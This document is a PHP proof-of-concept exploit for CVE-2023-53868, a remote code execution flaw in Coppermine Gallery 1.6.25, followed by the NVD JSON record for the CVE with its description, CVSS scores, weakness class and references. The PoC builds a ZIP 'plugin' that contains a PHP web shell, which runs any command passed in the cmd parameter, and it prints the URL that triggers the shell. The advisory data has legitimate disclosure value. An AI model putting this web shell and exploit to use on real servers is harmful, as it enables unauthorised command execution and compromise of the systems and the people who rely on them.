CVE-2023-53868

<?php // CVE-2023-53868 PoC - Coppermine Gallery RCE via Plugin Upload // Requirements: Valid user credentials with plugin upload permission $target = 'http://target-server/coppermine/'; // Target Coppermine Gallery URL $username = 'attacker'; // Valid username $password = 'password'; // Valid password // Create malicious PHP payload $payload = '<?php if(isset($_GET["cmd"])){ system($_GET["cmd"]); } else { echo "No command provided"; } ?> '; // Create malicious plugin structure $pluginDir = 'malicious_plugin'; $zipFile = tempnam(sys_get_temp_dir(), 'exploit') . '.zip'; $zip = new ZipArchive(); $zip->open($zipFile, ZipArchive::CREATE); $zip->addFromString($pluginDir . '/plugin.php', $payload); $zip->addFromString($pluginDir . '/info.php', 'Plugin name: Malicious'); $zip->close(); echo "[+] PoC for CVE-2023-53868\n"; echo "[+] Target: $target\n"; echo "[+] Creating malicious plugin ZIP...\n"; echo "[+] Payload file created: $zipFile\n"; echo "[+] Execute with: GET /plugins/$pluginDir/plugin.php?cmd=whoami\n"; ?>

{"cve": {"id": "CVE-2023-53868", "sourceIdentifier": "[email protected]", "published": "2025-12-15T21:15:49.107", "lastModified": "2025-12-18T22:35:06.830", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Coppermine Gallery 1.6.25 contains a remote code execution vulnerability that allows authenticated attackers to upload malicious PHP files through the plugin manager. Attackers can upload a zipped PHP file with system commands to the plugin directory and execute arbitrary code by accessing the uploaded plugin script."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.7, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-434"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:coppermine-gallery:coppermine_photo_gallery:1.6.25:*:*:*:*:*:*:*", "matchCriteriaId": "6F789DE6-7BD0-4C32-A78D-41A1758C2106"}]}]}], "references": [{"url": "https://web.archive.org/web/20240101151648/https://coppermine-gallery.net/", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://www.exploit-db.com/exploits/51738", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://www.vulncheck.com/advisories/coppermine-gallery-remote-code-execution-via-plugin-upload", "source": "[email protected]", "tags": ["Third Party Advisory"]}, {"url": "https://www.exploit-db.com/exploits/51738", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Third Party Advisory"]}]}}